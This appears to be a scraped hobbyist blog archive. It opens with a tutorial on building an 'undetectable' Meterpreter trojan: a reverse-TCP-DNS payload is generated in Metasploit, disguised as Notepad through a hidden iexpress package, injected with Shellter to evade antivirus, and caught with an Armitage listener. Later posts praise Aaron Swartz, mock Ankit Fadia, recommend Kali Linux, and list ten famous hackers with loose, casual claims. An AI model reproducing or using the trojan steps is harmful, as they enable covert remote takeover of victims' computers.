Techy Gang

Create an Undetectable Trojan Using a Domain Name

2016-08-20T23:31:00.001-07:00

Before starting up i have few things to say. I am not a hacker, i just re-edit posts and make them convenient to understand. Though i am not a dumb ass. I know " THINGS" . Anyway let's start hoping that you know what kali and meterpreter is. :)

In this tutorial I am going to show you how to create an undetectable Meterpreter Trojan using a Domain name. I have taken a few guides/tutorials and built it into one. The first part is creating the DNS Payload. The second part is creating the Executable file. Part 3 is using both in Shellter to create your undetectable Trojan. Part 4 is setting up your listener using Armitage.

Things You Will Need:

Kali Linux
Windows
A No IP account with a domain name
A forwarded port on your router
Shellter

Part 1: Creating the DNS Payload Using Kali:

Open Metasploit on Kali by typing msfconsole in a terminal.
Type use payload/windows/meterpreter/reverse_tcp_dns.
Type show options. This will show you that you need to set your lhost and lport.
Type set lhost (hostname you created, without http://).
Type set lport (port you have forwarded on your router set for the Kali machine).
Type generate -h. This will show you the options for generating the payload.
You can choose different options but at least do the following.
Type generate -f (file name you choose for the payload) -p windows -t raw.
Ex. generate -f DNS -p windows -t raw
Exit the terminal and click on Files. Your payload will be in your Home
(Unless you set an option for a different location).
Transfer the created payload to Windows. (Be aware that your AV might detect it at its current state).

Part 2: Creating the Executable File in Windows

Choose option that applies to you. (Important as Shellter does not work with 64-bit executables).
32-bit Windows - Navigate to C:\Windows\System32\iexpress.exe (Right click and select run as administrator)
64-bit Windows - Navigate to C:\Windows\SysWOW64\iexpress.exe (Right click and select run as administrator)
Choose Create new Self Extraction Directive File and click next.
Click next on the Package Purpose page.
Type the title of the package. (This can be anything you want) Ex: Notepad.exe
No Prompt, click next.
Do not display a license. Click next.
Click Add and choose any file on your computer. I choose Notepad.exe in the C:\Windows\System32 folder. Click Next.
Click the drop arrow and choose the file name you choose on the last screen. Click Next.
Choose Hidden and then click next.
No Message. Click Next
Click Browse and type a name for your malware file and a destination. Check the Hide File Extracting Progress Animation from user. Click Next.
Select No restart and then click next.
You can then either choose to save the self extraction directive or don't save. Click Next.
Click Next again on the create Package. Then click Finish.

Part 3: Using Both Created Files in Shellter to Create Your Trojan

Open the folder that Shellter is in. Right click on Shellter.exe and click Run as Administrator.
Type A for Auto.
Type N for No.
Type the location of your created EXE file from Part 2 and hit enter. Let Shellter do it's thing for 30 seconds to a minute.
When asked to choose payload, type C for custom.
Type the location of your created payload in Part 1 and hit enter.
Type N for No reflective DLL loader.
Hit enter and let Shellter finish doing it's thing If it says Injection Verified! you should have a working undetectable Trojan.
Hit enter to exit Shellter.

Part 4: Set Up Your Listener

You can either use Metasploit or Armitage. I prefer Armitage so my tutorial will be for that.

Go back to Kali.
Open Terminal and type Msfupdate
Once it's done type apt-get install armitage.
Type msfdb init
Open Armitage
Click Connect
Click Yes
Once Armitage opens type: use exploit/multi/handler
Type set lhost 0.0.0.0
Type set lport (your port you forwarded in your router)
Type set payload windows/meterpreter/reverse tcp dns
Type set exitonsession false
(Optional.) Type set autorunscript migrate -f
(Optional.) Type set prependmigrate True
Type exploit -j

(Optional steps are to migrate the process automatically so the session does not end before you can do it manually)

Now you should be able to run your undetectable Trojan and get a Meterpreter session.

Aaron Swartz - A Guy Who Wanted To Change This Mean World

2015-12-24T09:31:00.000-08:00

I am pretty sure that you would have not heard this name before. Aaron Swartz , isn't it an ordinary name to you?Well it was to me till today ! But now it isn't just a name to me. He is the guy whom i'll see as motivation.

Let's begin with who he was. Aaron Swarts was a brilliant boy with ideas to change this world. He wanted freedom of speech on Internet . He was the one who invented RSS feeds, CC and contributed in other technologies . He wanted that knowledge on internet should be free , one should not protect it to earn money. It's our right to read documents or anything on internet for free.

So this guy hacked into MIT and downloaded thousand of journal articles. Yes , it was illegal but he did it for a good cause. Anyway , it wasn't a big deal.Cops should have given him warning and should have left him. But things don't go as we plan. For no good reason Aaron was filed with 13 charges , FBI and Secret Service of US took over this case. Obviously they were over reacting on it. This wasn't a threat to US or wasn't that harmful act by Aaron.

[Tweet "Aaron Swartz- The Guy Who Wanted To Change The World"]

Anyway Aaron fought against them , in meanwhile SOPA bill came , in this bill Net Neutrality was in danger . So Aaron reacted on it and after a huge fight he made it. He did not let this bill pass.

But he failed to get through the cases he was charged with. Swartz, 26, was under indictment when he committed suicide in January 2013.Some people say that government killed Aaron Swartz .

Whatever it was , but this guy was a true hero. He fought for freedom , which was his birth right. He wanted to change the world. But in return he got death. That's how this world works.

I can't write his whole story here but i wanted you people to watch his documentary. Watch it for yourself.

‎Fake ‎hacker‬ Ankit Fadia appointed as brand ambassador for ‪Digital‬ ‪India‬ ‪Mission

2015-09-28T11:52:00.000-07:00

Ankit Fadia is well known ethical hacker in India. Though he is fake and is not a genuine hacker ( he knows some google tricks though :D ) . He is assigned as Brand Ambassador of whole Digital India Mission for 1 year.

I really don't know why he was chosen as brand ambassador. India have lot of high tech brains working in top tech companies. They would have chosen someone who deserves this post. Anyway , he is now chosen and we will have to hear from him for whole year. I am sure he is not going to appear in some hack summit.

I remember one interview where he told reporter that he was with FBI and CIA , helping them in tracing back Osama Bin Laden . That was the best hacking joke i ever heard. Few days after a kid hacked his website .

overall i am pissed of right now because he is not any hacker. He is just a normal guy with some tricks. There are so many people in India who deserve this post.

This Digital India Mission is seriously getting trolled. First Facebook trolled by cheating whole campaign >> Read Here How ? and now him .. -_-

Best Operating System For Hacking Purpose.

2015-09-18T09:56:00.000-07:00

I am not a hacker. But yes ! I do have some knowledge in this field. When i was of 14 , i came to know what hacking is . From that very day it’s something which attracted me a lot. In starting i simply read stories about people did some cool hacks in there colleges or offices. I was amazed !! I too tried but i didn’t have any coding experience so it was limited till spoofing people.

Download Linux KALI

Till now i am using windows , but you know what ? Windows is not right operating system to hack with. Microsoft Windows don’t allow there user access to Terminal . In common language , you may be the admin of your computer ; but in actual you are not. Anyway ! i have watched a lot of hacking related stuff. Searched Youtube , watched movies etc. And few days ago i started watching a tv show about life of hacker. There i noticed something , none of these movies, shows or on youtube. The hacker did not use Windows Operating System.

I researched a lot and came to know that LINUX is one and only operating system you should trust. There are lot of version of linux, one of them is KALI Linux . Kali linux is specifically designed for hackers , you can use terminal like every other linux operating system but in addition there are lot of add on tools.
Best of all , Linux Kali is free of cost and it will be free. I haven’t used it yet ! but yes , i am downloading it and will learn it. So bro , give it a start and if you are really into hacking stuff then install it and start learning Coding !

Xao !

10 Best Hacker The World Has Ever Known.

2015-09-18T08:42:00.002-07:00

Hacker ! This word always gain my interest. I have been watching a lot of movies and tv shows, where hackers did most of the action with there computer. Like Agent of S.H.I.E.L.D , Die Hard 4 and so on. After watching all these movies and shows i always wanted to be them !! But it’s not that easy and of course we all know the consequences of doing the ” illegal thing” .

Anyway today i am writing about top 10 hackers ever known. From Best Military Security to a Banking Security , they hacked everything and totally nailed it. But in end all of them were caught , so don’t try this at home ( lol ).

1. Gary McKinnon

Well what this guy says after his arrest is true, then this guy was really stupid to do so and was surely having bad luck. Gary McKinnon was a Scottish system administrator and hacker . He had a curiosity for aliens and Free energy suppression theory, so to gain information about UFO’s and this theory he hacked into NASA and 97 Military computers , by installing virus and deleting a few files. All the efforts to satisfy his curiosity, but, alas, curiosity killed the cat. It was soon found that McKinnon was guilty of having hacked the military and NASA websites from his girlfriend’s aunt’s house in London. While entering and deleting the files from these websites wasn’t enough, McKinnon thought of shaming the security forces by putting out a notice on the website that said, “Your security is crap.” Well, looks like McKinnon was something, if he could shut down the US Military’s Washington Network of about 2000 computers for 24 hours, making the hack, the biggest military computer hack of all time!

2. LulzSec

LulzSec or Lulz Security, a high profile, Black Hat hacker group, gained credentials for hacking into Sony, News International, CIA, FBI, Scotland Yard, and several noteworthy accounts. So notorious was the group that when it hacked into News Corporations account, they put across a false report of Rupert Murdoch having passed away. While the group claims to have retired from their vile duties, the motto of the group, “Laughing at your security since 2011!” stays alive. There are assertions of the group having hacked into the websites of the newspapers like The Times and The Sun to post its retirement news. Many, however, claim that this group had taken it upon itself to create awareness about the absence of efficient security against hackers.

3. Adrian Lamo

Adrian Lamo also known as homeless hacker , decided to switch careers when he realized the potentials of his skills. He became a news when he hacked into Yahoo!, Microsoft, Google, and The New York Times. This, although culminated into his arrest, it later helped him gain the batch of an American Threat Analyst. A guy who would hack into top-notch accounts sitting in the spacious and comforting cafeterias, libraries, internet cafes, soon turned Wikileaks suspect Bradley Manning over to FBI. While Manning was arrested for leaking several hundred sensitive US government documents, Lamo went hiding or should we presume, undercover?

4. Mathew Bevan and Richard Pryce

They are one of few most notorious hackers. Targeting the over-sensitive nerves, what Mathew Bevan along with his alleged partner Richard Pryce did, could have triggered great many issues between USA and North Korea. The duo hacked the US military computers and used it as a means to infiltrate the foreign systems. The crucial contents of Korean Atomic Research Institute were dumped into USAF system. However, the contents were majorly relevant to South Korea and hence, less volatile. But this, nonetheless, could have led to a huge international issue.

5. Jonathan James

The first juvenile to be imprisoned for a cyber-crime at the age of 16, Jonathan James or better known as c0mrade, hacked into Defense Threat Reduction Agency of US department. Further, he installed a sniffer that scrutinized the messages passed on between the DTRA employees. Not only did he keep a check on the messages being passed around, in the process, he collected the passwords and usernames and other such vital details of the employees, and further even stole essential software. All this cost NASA to shut down its system and to pay from its pocket $41,000. c0mrade, however, had a bitter ending as James committed suicide in 2008.

6. Kevin Poulsen

How far would you go to win your dream car or a dream house? How far will you go to win an online contest or a radio show contest? Perhaps, you shall keep trying your luck, unless you are Kevin Poulsen! Poulsen infiltrated a radio shows call-in contest just so he could win a Porsche. Dark Dante, as he was better known, went underground after FBI started pursuing him. He, later, was found guilty of seven counts of mail, wire and computer fraud, money laundering and the likes. What turned out to be rewarding in Dark Dante’s case is – his past crafted his future. Poulsen now serves as a Senior Editor at Wired.

7. Kevin Mitnick

Clad in an Armani suit, when a bespectacled face in his mid-40s smiles at you from the computer screen, you can hardly consider the man a cyber-criminal. Such is the case with Kevin David Mitnick. Once upon a time, the most wanted cyber-criminal of US, now is an affluent entrepreneur. Kevin, who is now a security consultant, was convicted of hacking Nokia, Motorola and Pentagon. He pleaded guilty to seven counts of fraud that included wire fraud, computer fraud and of illegally interception a wire communication. After five years of incarceration that included eight months of solitary confinement, Mitnick now has started afresh. However, his knack with the computers is still reminisced and was even depicted on celluloid in the films Takedown and Freedom Downtown.

8. Anonymous

The concept of being a “digital Robin Hood” was far from being conceived, but in the computer age, it is very likely that someone somewhere has bagged this title. A “hacktivist group” called Anonymous are known with the penname of being the “digital Robin Hood” amongst its supporters. Identified in public by wearing a Guy Fawkes Masks, Anons, as they are widely known, have publicized themselves by attacking the government, religious and corporate websites. The Vatican, the FBI, the CIA, PayPal, Sony, Mastercard, Visa, Chinese, Israeli, Tunisian, and Ugandan governments have been amongst their targets. Although, Anons have been arguing whether to engage in a serious activism or a mere entertainment, many of the group members have clarified their intent which is to attack internet censorship and control.

9. Astra

Astra, a Sanskrit word for weapon was the penname of a hacker who dealt in the weapon stealing and selling. A 58-year-old Greek Mathematician hacked into the systems of France’s Dassault Group, stole vulnerable weapons technology data and sold it to different countries for five long years. While the real identity of the ASTRA remains untraced, officials have said that he had been wanted since 2002. Astra sold the data to approximately 250 people from around the globe, which cost Dassault $360 millions of damage.

10. Albert Gonzalez

How safe is internet banking? When we browse through the profile of this mastermind, we are certain that one ought to use the World Wide Web with immense care. For two long years, Albert Gonzalez, stole from credit cards of the netizens. This was recorded to be the biggest credit card theft in the history of mankind. He resold approximately 170 million credit cards and ATM numbers. He did so by installing a sniffer and sniffing out the computer data from internal corporate networks. When arrested, Gonzalez was sentenced to 20 years in Federal prison.

courtesy : www.techygang.com